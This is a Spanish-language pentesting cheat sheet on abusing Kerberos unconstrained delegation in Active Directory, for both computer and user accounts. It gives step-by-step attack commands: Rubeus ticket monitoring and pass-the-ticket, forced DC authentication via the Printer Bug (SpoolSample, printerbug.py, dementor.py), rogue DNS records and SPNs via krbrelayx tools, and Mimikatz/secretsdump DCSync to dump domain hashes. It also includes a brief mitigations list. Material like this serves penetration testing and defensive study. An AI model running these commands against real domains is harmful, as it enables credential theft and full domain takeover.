Skip to content

Unconstrained Delegation - Computers

Ataque que explota máquinas configuradas con Unconstrained Delegation. Si un usuario privilegiado se autentica contra un servicio con esta configuración, su TGT queda embebido en el TGS ticket y puede ser extraído por quien controle ese servicio.

Links: Rubeus | SpoolSample PoC | Mimikatz | MS-RPRN Protocol | PowerView


Explicación simple

Imagina que una computadora del dominio (por ejemplo, un servidor SQL) está configurada para "confiar en cualquier servicio". Esto significa que si un usuario se conecta a ese servidor, el servidor recibe una copia completa de la identificación maestra del usuario (el TGT), no solo un pase temporal para ese servicio puntual.

Si se compromete ese servidor (administrador local), se puede esperar con una herramienta a que un usuario importante (como un Domain Admin) se conecte. En el momento que se conecta, se captura su TGT completo y ya se puede impersonar en todo el dominio.

El problema es que normalmente nadie importante se conecta así nada más. Por eso existe un segundo truco: el Printer Bug, una falla que permite "obligar" al Domain Controller (el servidor más importante del dominio) a conectarse al servidor comprometido, como si hubiera sido invitado. Cuando el DC se conecta, se captura su identificación y con eso se pueden extraer las contraseñas de todo el dominio (ataque DCSync).


Contexto técnico

En Windows 2000, unconstrained delegation era el único tipo de delegación disponible. Si un usuario solicita un service ticket en un servidor con unconstrained delegation habilitado, su TGT completo queda embebido en el TGS ticket presentado al servidor. El servidor puede cachear ese TGT en memoria y usarlo para impersonar al usuario contra cualquier otro recurso del dominio.

Sin unconstrained delegation, solo se guarda el TGS ticket en memoria, limitando el alcance del atacante al recurso específico de ese ticket.


Enumerar computadoras con Unconstrained Delegation (Linux)

Con findDelegation.py (Impacket)

bash
findDelegation.py DOMAIN.LOCAL/<user>:<password>

En el output, las filas con AccountType: Computer y DelegationType: Unconstrained son las máquinas vulnerables.

Con ldapsearch

El filtro LDAP busca el flag TRUSTED_FOR_DELEGATION (524288) en userAccountControl, tanto para computadoras como usuarios.

bash
ldapsearch -x -H ldap://<IP_DC> -D "<user>@domain.local" -w '<password>' -b "DC=domain,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName objectClass

Con netexec

bash
netexec ldap <IP_DC> -u <user> -p '<password>' --trusted-for-delegation

Lista tanto usuarios como computadoras con delegación sin restricciones.

Con BloodHound (bloodhound-python)

bash
bloodhound-python -u <user> -p '<password>' -d domain.local -ns <IP_DC> -c All

En BloodHound, filtrar por la propiedad unconstraineddelegation:true o usar la query prediseñada "Find Computers with Unconstrained Delegation".

Escenario de ataque

Existen dos vectores principales:

  • Esperar pasivamente que un usuario privilegiado se autentique contra el servidor comprometido
  • Forzar activamente la autenticación de un Domain Controller usando el Printer Bug

Vector 1: Esperar autenticación de usuario privilegiado

Monitorear tickets con Rubeus

Como administrador local del servidor comprometido, Rubeus puede monitorear continuamente la llegada de nuevos TGTs.

powershell
.\Rubeus.exe monitor /interval:5 /nowrap

Cuando un usuario privilegiado (ej: Domain Admin) se conecta al servidor, Rubeus captura su TGT embebido y lo muestra en Base64.

Verificar privilegios del usuario capturado

powershell
Import-Module .\PowerView.ps1
Get-DomainGroup -MemberIdentity <usuario_capturado>

Usar el TGT capturado para pedir un TGS

El flag /ptt (pass-the-ticket) inyecta el ticket recibido en memoria para usarlo en peticiones futuras.

powershell
.\Rubeus.exe asktgs /ticket:<TGT_base64> /service:cifs/dc01.domain.local /ptt

o tambien:

c
.\Rubeus.exe ptt /ticket: <TGT_bas64>
c
.\Rubeus.exe asktgs /service:cifs/dc01.domain.local /ptt

Alternativa: renovar el ticket directamente

Si asktgs no funciona, se puede renovar el TGT capturado para obtener uno nuevo válido.

powershell
.\Rubeus.exe renew /ticket:<TGT_base64> /ptt

Usar el ticket para acceder al recurso

powershell
dir \\dc01.domain.local\c$

Tip: También se puede usar net view \\COMPUTERNAME para identificar shares disponibles.


Vector 2: Printer Bug (Coerción activa)

El Printer Bug es una falla en el protocolo MS-RPRN que permite a cualquier usuario de dominio forzar a un servidor a autenticarse contra un host arbitrario vía SMB, usando los métodos RpcOpenPrinter y RpcRemoteFindFirstPrinterChangeNotificationEx.

Combinado con unconstrained delegation, permite forzar a un Domain Controller a autenticarse contra un host controlado por el atacante y capturar su TGT (DC01$).

Nota: Si el DC no tiene el spooler service corriendo, esta técnica puede usarse contra cualquier otra computadora del dominio para crear Silver Tickets con el TGT de esa máquina.

Paso 1 - Iniciar Rubeus en modo monitor en el host comprometido

powershell
.\Rubeus.exe monitor /interval:5 /nowrap

Paso 2 - Disparar el Printer Bug con SpoolSample

Sintaxis: SpoolSample.exe <servidor_objetivo> <servidor_captura>

powershell
.\SpoolSample.exe dc01.domain.local sql01.domain.local

Un mensaje de "access denied" en la autenticación confirma que la coerción funcionó correctamente.

Paso 3 - Capturar el TGT de la cuenta de máquina del DC

Rubeus (corriendo en monitor) debería mostrar el TGT de DC01$.

Paso 4 - Renovar el ticket capturado

powershell
.\Rubeus.exe renew /ticket:<TGT_DC01$_base64> /ptt

Explotación con DCSync (Mimikatz)

Con el TGT de la cuenta de máquina del DC en memoria, se puede ejecutar DCSync para extraer el hash NTLM de cualquier usuario, incluyendo Administrator.

cmd
mimikatz.exe
lsadump::dcsync /user:<usuario_objetivo>

Usar el hash obtenido para pedir un TGT como ese usuario

powershell
.\Rubeus.exe asktgt /rc4:<hash_NTLM> /user:<usuario_objetivo> /ptt

Acceder al recurso impersonando al usuario

powershell
dir \\dc01.domain.local\c$

Alternativa: S4U2Self para targets que no son Domain Controllers

Si la máquina comprometida no es un DC, o se quiere evitar DCSync, se puede usar S4U2Self para forjar un Service Ticket en nombre de cualquier usuario usando el TGT de la cuenta de máquina capturado.

powershell
.\Rubeus.exe s4u /self /nowrap /impersonateuser:Administrator /altservice:CIFS/dc01.domain.local /ptt /ticket:<TGT_capturado>

Esto permite obtener un TGS para el servicio CIFS impersonando a Administrator, sin necesitar ejecutar DCSync.

powershell
ls \\dc01.domain.local\c$

Resumen del flujo completo

  • Comprometer una máquina con unconstrained delegation habilitado
  • Opción A: esperar pasivamente con Rubeus monitor a que un privilegiado se conecte
  • Opción B: forzar la autenticación del DC con SpoolSample (Printer Bug)
  • Capturar el TGT embebido con Rubeus
  • Usar asktgs o renew para obtener tickets utilizables
  • Ejecutar DCSync con Mimikatz para extraer hashes, o usar s4u /self para forjar tickets sin DCSync
  • Acceder a recursos del dominio impersonando al usuario capturado

Unconstrained Delegation - Users

Ataque contra cuentas de usuario (no computadoras) configuradas con TRUSTED_FOR_DELEGATION. Requiere también tener GenericWrite sobre la cuenta comprometida para poder modificar su SPN.

Links: krbrelayx | dementor.py | printerbug.py | PowerView | Impacket


Explicación simple

Aquí la diferencia respecto al ataque contra computadoras es que en vez de un servidor, es una cuenta de usuario la que tiene esa configuración peligrosa (algo poco común, pero ocurre). El problema es que un usuario no es un servidor real, así que nadie se va a "conectar" a él directamente como pasaría con una máquina.

Entonces el atacante simula tener un servidor: crea un registro DNS falso que apunta a su propia máquina, haciendo creer al dominio que existe un equipo nuevo. Le asigna ese "servicio falso" a la cuenta de usuario comprometida. Luego usa el mismo truco del Printer Bug para obligar al Domain Controller a conectarse a ese servidor falso. Cuando el DC intenta conectarse, su identificación completa (TGT) llega directo a la máquina del atacante, que la captura con una herramienta especial (krbrelayx) y la usa para comprometer todo el dominio.

En resumen, ambos ataques de unconstrained delegation buscan capturar el TGT de alguien importante (normalmente el DC), ya sea esperando pasivamente una conexión o forzándola con el Printer Bug.


Enumerar usuarios con Unconstrained Delegation

Filtro LDAP para el flag TRUSTED_FOR_DELEGATION (valor 524288) en userAccountControl.

powershell
Import-Module .\PowerView.ps1
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

Desde Linux con ldapsearch

bash
ldapsearch -x -H ldap://<IP_DC> -D "<user>@domain.local" -w '<password>' -b "DC=domain,DC=local" "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName

El filtro (objectCategory=person) asegura que solo se listen usuarios, no computadoras (que también usan el mismo flag).

Desde Linux con netexec

bash
netexec ldap <IP_DC> -u <user> -p '<password>' --trusted-for-delegation

Muestra tanto usuarios como computadoras; hay que filtrar manualmente cuáles son cuentas de usuario.

Desde Linux con findDelegation.py

bash
findDelegation.py DOMAIN.LOCAL/<user>:<password>

Las filas con AccountType: Person y DelegationType: Unconstrained son los usuarios vulnerables — esto es lo que suele indicar que se trata de una configuración inusual y potencialmente explotable, ya que unconstrained delegation en cuentas de usuario es poco común (normalmente se ve en computadoras).


Requisitos del ataque

  • Una cuenta de usuario con unconstrained delegation habilitado (TRUSTED_FOR_DELEGATION)
  • GenericWrite sobre esa cuenta, para poder agregarle un SPN propio

Concepto del ataque

A diferencia del ataque contra computadoras, aquí se crea un registro DNS falso que apunta a la máquina del atacante, simulando ser un equipo legítimo del dominio. Luego se agrega un SPN CIFS/<registro_falso> a la cuenta comprometida. Cuando alguien (típicamente el DC, forzado vía Printer Bug) intenta autenticarse por SMB contra ese "equipo falso", su TGT viaja embebido en el TGS ticket — y como el SPN pertenece a la cuenta con unconstrained delegation que controlamos, el ticket llega directamente a nuestra máquina.


Paso 1 - Crear un registro DNS falso

Usando dnstool.py de krbrelayx con cualquier cuenta válida del dominio.

bash
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx

python dnstool.py -u DOMAIN\\<usuario_valido> -p '<password>' -r roguecomputer.domain.local -d <IP_ATACANTE> --action add <IP_DC>

#Ejemplo:
python dnstool.py -u domain.local\\seven -p 'seven' -r roguecomputer.domain.local -d 10.10.10.7 --action add 10.10.10.5

Verificar el registro DNS

bash
nslookup roguecomputer.domain.local <IP_DC>

#Ejemplo
nslookup roguecomputer.domain.local dc01.domain.local

Paso 2 - Agregar SPN a la cuenta comprometida

El SPN debe ser CIFS/<registro_dns_falso>. CIFS es equivalente a SMB. --target-type samname indica que el target es un username (no un hostname).

bash
python addspn.py -u DOMAIN\\<usuario_valido> -p '<password>' --target-type samname -t <cuenta_comprometida> -s CIFS/roguecomputer.domain.local <IP_DC>

#Ejemplo
python3 addspn.py -u domain.local\\seven -p seven --target-type samname -t 'test' -s CIFS/roguecomputer.domain.local dc01.domain.local

Paso 3 - Levantar krbrelayx para capturar el TGT

Se debe proveer el hash NTLM de la cuenta comprometida (el target con unconstrained delegation) para que la herramienta pueda descifrar el TGS ticket recibido.

Generar el hash NTLM

c
#Opcion 1
echo -n 'C@lluMDIXON' | iconv -t UTF-16LE | openssl dgst -md4 | cut -d ' ' -f2

#Opción 2
python3 -c "import hashlib; print(hashlib.new('md4', 'C@lluMDIXON'.encode('utf-16le')).hexdigest())"

#Opción 3
pypykatz crypto nt 'C@lluMDIXON'
bash
sudo python krbrelayx.py -hashes :<NTHASH_cuenta_comprometida>

Nota: Si hay errores al ejecutar krbrelayx, puede deberse a conflictos con la instalación de impacket. Reinstalar desde fuente:

bash
sudo apt remove python3-impacket impacket-scripts
git clone https://github.com/fortra/impacket
cd impacket
sudo python3 -m pip install .

Paso 4 - Forzar autenticación con el Printer Bug

Se puede usar printerbug.py o dementor.py (solo se necesita uno de los dos).

bash
# Con printerbug.py
## Opcion 1
python3 printerbug.py domain.local/<usuario>:'<password>'@<IP_DC> roguecomputer.domain.local
## Opcion 2
python3 printerbug.py domain.local/<usuario>:'<password>' roguecomputer.domain.local

# Con dementor.py
python dementor.py -u <usuario> -p '<password>' -d domain.local roguecomputer.domain.local <IP_DC>

Esto fuerza al DC a autenticarse contra el registro DNS falso (la máquina del atacante), y krbrelayx captura automáticamente el TGT embebido.


Paso 5 - Usar el TGT capturado

El TGT se guarda en disco como un archivo .ccache.

bash
export KRB5CCNAME=./DC01\$@DOMAIN.LOCAL_krbtgt@DOMAIN.LOCAL.ccache

Ejecutar DCSync con el ticket

bash
secretsdump.py -k -no-pass dc01.domain.local

Nota: Limpiar la variable de entorno al terminar con unset KRB5CCNAME.


Mitigaciones

  • Evitar unconstrained delegation en entornos modernos, preferir constrained o RBCD
  • Si es absolutamente necesario, marcar cuentas sensibles como Account is sensitive and cannot be delegated
  • Agregar cuentas privilegiadas al grupo Protected Users, lo cual bloquea su uso en delegación Kerberos y evita que sus TGTs queden cacheados en hosts tras autenticarse

Resumen del flujo

  • Identificar usuario con TRUSTED_FOR_DELEGATION y verificar GenericWrite sobre él
  • Crear registro DNS falso apuntando al atacante (dnstool.py)
  • Agregar SPN CIFS/<registro_falso> a la cuenta comprometida (addspn.py)
  • Levantar krbrelayx.py con el hash NTLM de la cuenta comprometida
  • Forzar autenticación del DC con printerbug.py o dementor.py
  • Capturar el TGT del DC en formato .ccache
  • Usar el ticket con secretsdump.py -k para ejecutar DCSync